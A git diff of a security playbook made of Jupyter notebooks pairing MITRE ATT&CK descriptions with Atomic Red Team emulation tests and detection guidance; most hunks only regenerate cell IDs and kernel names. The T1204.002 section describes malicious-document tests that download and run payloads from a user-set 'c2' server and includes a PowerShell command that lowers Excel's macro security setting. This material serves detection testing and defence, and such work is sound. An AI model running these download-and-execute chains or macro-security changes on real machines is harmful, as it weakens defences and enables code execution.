Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\n\nSysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\n\n* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.\n* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F)." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/execution/T1196.ipynb b/playbook/tactics/execution/T1196.ipynb deleted file mode 100644 index 7c07fd57..00000000 --- a/playbook/tactics/execution/T1196.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "4718fe53", - "metadata": {}, - "source": "# T1196 - Control Panel Items\nWindows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)\n\nFor ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)\n\nAdversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting." - }, - { - "cell_type": "markdown", - "id": "4d95b839", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "ab203912", - "metadata": {}, - "source": "## Detection\nMonitor and analyze activity related to items associated with CPL files, such as the Windows Control Panel process binary (control.exe) and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1085) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1085) command, which may bypass detections and/or execution filters for control.exe. (Citation: TrendMicro CPL Malware Jan 2014)\n\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace and HKEY_CLASSES_ROOT\\CLSID\\{GUID}. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the Cpls and Extended Properties Registry keys of HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}). (Citation: Microsoft Implementing CPL)\n* Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers where {name} is the predefined name of the system item. (Citation: Microsoft Implementing CPL)\n\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques. (Citation: TrendMicro CPL Malware Jan 2014)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/execution/T1203.ipynb b/playbook/tactics/execution/T1203.ipynb index 89ce36f9..c4f09eac 100644 --- a/playbook/tactics/execution/T1203.ipynb +++ b/playbook/tactics/execution/T1203.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "9f6546e1", + "id": "9f030f7e", "metadata": {}, "source": "# T1203 - Exploitation for Client Execution\nAdversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n### Browser-based Exploitation\n\nWeb browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n### Office Applications\n\nCommon office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n### Common Third-party Applications\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents." }, { "cell_type": "markdown", - "id": "ba97589a", + "id": "faf0817f", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "f46c5e61", + "id": "a5f54bd5", "metadata": {}, "source": "## Detection\nDetecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system." }, { "cell_type": "markdown", - "id": "c2150262", + "id": "3cd847b8", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy System \n Configure a computing system to serve as an attack target or experimental environment. \n\n A decoy system is a computing resource presented to the adversary in support of active defense. The underlying system can be real, virtual, or simulated, and can be presented as one of a variety of IT devices including user workstations, servers, networking systems, IOT (embedded devices), mobile systems like phones, etc.\n#### Opportunity\nThere is an opportunity to study the adversary and collect first-hand observations about them and their tools.\n#### Use Case\nA defender can use a decoy system to see if an adversary exploits vulnerable software in order to compromise the system.\n#### Procedures\nUse an isolated system to visit a suspected compromised website. Collect any associated scripting code or files dropped onto the system.\nSetup a server which appears to be something that is commonly expected within a network, such as web server.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1204.001.ipynb b/playbook/tactics/execution/T1204.001.ipynb index 02fe4a87..4881dbbf 100644 --- a/playbook/tactics/execution/T1204.001.ipynb +++ b/playbook/tactics/execution/T1204.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "c4a48883", + "id": "efed79ba", "metadata": {}, "source": "# T1204.001 - Malicious Link\nAn adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Links may also lead users to download files that require execution via [Malicious File](https://attack.mitre.org/techniques/T1204/002)." }, { "cell_type": "markdown", - "id": "a94710d3", + "id": "b102c924", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "04be0a45", + "id": "5f384a44", "metadata": {}, "source": "## Detection\nInspect network traffic for indications that a user visited a malicious site, such as links included in phishing campaigns directed at your organization.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded from a link and executed on the user's computer." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1204.002.ipynb b/playbook/tactics/execution/T1204.002.ipynb index f090e282..6f31824d 100644 --- a/playbook/tactics/execution/T1204.002.ipynb +++ b/playbook/tactics/execution/T1204.002.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "d4efe29b", + "id": "ce499b4e", "metadata": {}, "source": "# T1204.002 - Malicious File\nAn adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.\n\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) \n\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)." }, { "cell_type": "markdown", - "id": "da43a30f", + "id": "920bc609", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "65ae0c8f", + "id": "27a3c201", "metadata": {}, "source": "### Atomic Test #1 - OSTap Style Macro Execution\nThis Test uses a VBA macro to create and execute #{jse_path} with cscript.exe. Upon execution, the .jse file launches wscript.exe.\nExecution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.\nThis is a known execution chain observed by the OSTap downloader commonly used in TrickBot campaigns.\nReferences:\n https://www.computerweekly.com/news/252470091/TrickBot-Trojan-switches-to-stealthy-Ostap-downloader\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Microsoft #{ms_product} must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n New-Object -COMObject \"Word.Application\" | Out-Null\n $process = \"Word\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Microsoft Word manually to meet this requirement\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "34b9c34d", + "id": "1f960008", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1204.002 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "d561df0c", + "id": "1ca13ced", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "74c5fe21", + "id": "da094e42", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1204.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "07dd7563", + "id": "b8c72c42", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item C:\\Users\\Public\\art.jse -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f4245fe6", + "id": "128ce6d2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1204.002 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "1e7be2d9", + "id": "73eebbce", "metadata": {}, "source": [ "### Atomic Test #2 - OSTap Payload Download", @@ -72,42 +72,42 @@ { "cell_type": "code", "execution_count": null, - "id": "899754fb", + "id": "f0389542", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1204.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "1f9b1525", + "id": "c854b40a", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %TEMP%\\OSTapGet.js /F /Q >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2a5dc7f8", + "id": "f04098d1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1204.002 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "1f56a23a", + "id": "0d66b437", "metadata": {}, "source": "### Atomic Test #3 - Maldoc choice flags command execution\nThis Test uses a VBA macro to execute cmd with flags observed in recent maldoc and 2nd stage downloaders. Upon execution, CMD will be launched.\nExecution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Microsoft #{ms_product} must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n New-Object -COMObject \"Word.Application\" | Out-Null\n $process = \"Word\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Microsoft Word manually to meet this requirement\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b7f5f5ac", + "id": "50074132", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1204.002 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "0929d070", + "id": "6307acc2", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -117,28 +117,28 @@ { "cell_type": "code", "execution_count": null, - "id": "a2dec3a5", + "id": "44d466c0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1204.002 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "dfeb609e", + "id": "a0133c1e", "metadata": {}, "source": "### Atomic Test #4 - OSTAP JS version\nMalicious JavaScript executing CMD which spawns wscript.exe //e:jscript\nExecution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Microsoft #{ms_product} must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n New-Object -COMObject \"Word.Application\" | Out-Null\n $process = \"Word\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Microsoft Word manually to meet this requirement\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "26b83804", + "id": "a534b494", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1204.002 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "d23007a7", + "id": "8b2e64dd", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -148,28 +148,28 @@ { "cell_type": "code", "execution_count": null, - "id": "437a01f6", + "id": "089291c2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1204.002 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "c928d367", + "id": "9b2bcb91", "metadata": {}, "source": "### Atomic Test #5 - Office launching .bat file from AppData\nMicrosoft Office creating then launching a .bat script from an AppData directory. The .bat file launches calc.exe when opened.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Microsoft #{ms_product} must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n New-Object -COMObject \"Word.Application\" | Out-Null\n $process = \"Word\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Microsoft Word manually to meet this requirement\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "cd72e210", + "id": "76ccf23c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1204.002 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "2df372c4", + "id": "aad407cf", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -179,28 +179,28 @@ { "cell_type": "code", "execution_count": null, - "id": "ed3042d9", + "id": "1c6276e4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1204.002 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "f73fc457", + "id": "02e95861", "metadata": {}, "source": "### Atomic Test #6 - Excel 4 Macro\nThis module creates an Excel 4 Macro (XLM) enabled spreadsheet and executes it. The XLM will first write a \"malicious\"\nVBS file to %TEMP%, then execute this file. The VBS will download Process Explorer to the same directory (%TEMP%) and exec.\n\nA note regarding this module. By default, this module will pull the current username from the system and places it into the macro. If\nyou'd like to utilize the \"=GET.WORKSPACE(26)\" method, that many maldoc authors use, you will need to ensure that the User Name associated\nwith Excel matches that of the local system. This username can be found under Files -> Options -> Username\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Microsoft Excel must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n New-Object -COMObject \"Excel.Application\" | Out-Null\n Stop-Process -Name \"Excel\"\n exit 0\n} catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Microsoft Excel manually to meet this requirement\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ea951d5d", + "id": "81e0d8a2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1204.002 -TestNumbers 6 -GetPreReqs" }, { "cell_type": "markdown", - "id": "8c626c9d", + "id": "61059287", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -210,42 +210,42 @@ { "cell_type": "code", "execution_count": null, - "id": "08f5ade9", + "id": "906dc8ae", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1204.002 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "2601184c", + "id": "617ec191", "metadata": {}, "source": "#### Cleanup: \n```powershell\nStop-Process -Name \"procexp*\" -ErrorAction Ignore\nRemove-Item \"$env:TEMP\\atomic_redteam_x4m_exec.vbs\" -ErrorAction Ignore\nRemove-Item \"$env:TEMP\\procexp.exe\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4edd04d9", + "id": "309c7404", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1204.002 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "74624ba3", + "id": "28b442a6", "metadata": {}, "source": "### Atomic Test #7 - Headless Chrome code execution via VBA\nThis module uses Google Chrome combined with ScriptControl to achieve code execution. It spawns a local\nwebserver hosting our malicious payload. Headless Google Chrome will then reach out to this webserver\nand pull down the script and execute it. By default the payload will execute calc.exe on the system.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Microsoft Word must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n $wdApp = New-Object -COMObject \"Word.Application\"\n Stop-Process -Name \"winword\"\n exit 0 } catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Microsoft Word manually to meet this requirement\"\n\n```\n##### Description: Google Chrome must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n $chromeInstalled = (Get-Item (Get-ItemProperty 'HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe').'(Default)').VersionInfo.FileName\n exit 0\n} catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Google Chrome manually to meet this requirement\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "94e58c48", + "id": "6fd274bf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1204.002 -TestNumbers 7 -GetPreReqs" }, { "cell_type": "markdown", - "id": "92bf3afb", + "id": "13f1a492", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -255,28 +255,28 @@ { "cell_type": "code", "execution_count": null, - "id": "06b72827", + "id": "21ebc45c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1204.002 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "1462ff0e", + "id": "676a7b7f", "metadata": {}, "source": "#### Cleanup: \n```powershell\nStop-Process -name mshta\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7f44e480", + "id": "8379ee50", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1204.002 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "171d9897", + "id": "fafafa32", "metadata": {}, "source": [ "### Atomic Test #8 - Potentially Unwanted Applications (PUA)", @@ -290,42 +290,42 @@ { "cell_type": "code", "execution_count": null, - "id": "be39393f", + "id": "8f8e0ed7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1204.002 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "3904aa2c", + "id": "37dbf86a", "metadata": {}, "source": "#### Cleanup: \n```powershell\nStop-Process -name PotentiallyUnwanted\nRemove-Item $env:TEMP/PotentiallyUnwanted.exe -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b014f0ca", + "id": "3a53eaf9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1204.002 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "0aecc0d2", + "id": "717c914f", "metadata": {}, "source": "### Atomic Test #9 - Office Generic Payload Download\nThis Test uses a VBA macro to launch Powershell which will download a file from a user defined web server.\nRequired input agruments are c2_domain and file_name\nExecution is handled by [Invoke-MalDoc](https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.\nExample for c2 server located at 127.0.0.1 for the file test.txt which is nested below the parent directory in the tests/my-test folder\nExample input args for file in root directory c2-domain = 127.0.0.1, file-name = test.txt\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Destination c2_domain name or IP address must be set to a running HTTP server.\n\n##### Check Prereq Commands:\n```powershell\nif (None) (exit 0) else (exit 1)\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"Destination c2 server domain name or IP address must be set and reachable for HTTP service\"\n\n```\n##### Description: Microsoftt #{ms_product} must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n New-Object -COMObject \"Word.Application\" | Out-Null\n $process = \"Word\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Microsoft Word manually to meet this requirement\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0f680c1a", + "id": "47ad747c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1204.002 -TestNumbers 9 -GetPreReqs" }, { "cell_type": "markdown", - "id": "8794a1e2", + "id": "388c5ee4", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -335,28 +335,28 @@ { "cell_type": "code", "execution_count": null, - "id": "f5121afb", + "id": "707c404f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1204.002 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "d89e686d", + "id": "21c20ef3", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item \"C:\\Users\\$env:username\\Desktop\\https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/test9-example-payload.txt\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4abb49d4", + "id": "b8bd1bac", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1204.002 -TestNumbers 9 -Cleanup" }, { "cell_type": "markdown", - "id": "43b3404f", + "id": "26ef5daa", "metadata": {}, "source": [ "### Atomic Test #10 - LNK Payload Download", @@ -369,62 +369,62 @@ { "cell_type": "code", "execution_count": null, - "id": "b895e8c9", + "id": "8b5322e7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1204.002 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "505b9776", + "id": "b69c48cf", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$file1 = \"$env:Temp\\test10.lnk\"\n$file2 = \"$env:Temp\\a.exe\"\nRemove-Item $file1 -ErrorAction Ignore\nRemove-Item $file2 -ErrorAction Ignore```" }, { "cell_type": "code", "execution_count": null, - "id": "16593c87", + "id": "74e577bd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1204.002 -TestNumbers 10 -Cleanup" }, { "cell_type": "markdown", - "id": "df5addf1", + "id": "dfbc49ab", "metadata": {}, "source": [ "### Atomic Test #11 - Mirror Blast Emulation", "Emulates the JS -> MSI chain of the MirrorBlast T505 campaign by executing an xlsm file designed. \nRequires the 32 bit version of Office to run. [MirrorBlast Campaign Analysis](https://blog.morphisec.com/explosive-new-mirrorblast-campaign-targets-financial-companies)\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nCd \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\"\nNew-ItemProperty -Path Registry::HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Office\\16.0\\Excel\\Security -Name \"VBAWarnings\" -Value \"1\" -PropertyType DWORD -Force | Out-Null\n& '.\\Excel 2016.lnk' PathToAtomicsFolder\\T1204.002\\bin\\mirrorblast_emulation.xlsm```" + "```powershell\nCd \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\"\nNew-ItemProperty -Path Registry::HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Office\\16.0\\Excel\\Security -Name \"VBAWarnings\" -Value \"1\" -PropertyType DWORD -Force | Out-Null\n& '.\\Excel 2016.lnk' \"PathToAtomicsFolder\\T1204.002\\bin\\mirrorblast_emulation.xlsm\"```" ] }, { "cell_type": "code", "execution_count": null, - "id": "fbefba64", + "id": "75061521", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1204.002 -TestNumbers 11" }, { "cell_type": "markdown", - "id": "9ecf4255", + "id": "7a59a224", "metadata": {}, "source": "#### Cleanup: \n```powershell\nreg delete \"HKCU\\SOFTWARE\\Microsoft\\Office\\16.0\\Excel\\Security\" /v \"VBAWarnings\" /f```" }, { "cell_type": "code", "execution_count": null, - "id": "f1acf7c1", + "id": "0845d627", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1204.002 -TestNumbers 11 -Cleanup" }, { "cell_type": "markdown", - "id": "72e14822", + "id": "e89027e9", "metadata": {}, "source": "## Detection\nMonitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe)." } @@ -432,13 +432,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1204.003.ipynb b/playbook/tactics/execution/T1204.003.ipynb index c3bc17e7..a3e5c3e1 100644 --- a/playbook/tactics/execution/T1204.003.ipynb +++ b/playbook/tactics/execution/T1204.003.ipynb @@ -2,19 +2,54 @@ "cells": [ { "cell_type": "markdown", - "id": "66e62cde", + "id": "0a2dcfce", "metadata": {}, "source": "# T1204.003 - Malicious Image\nAdversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services 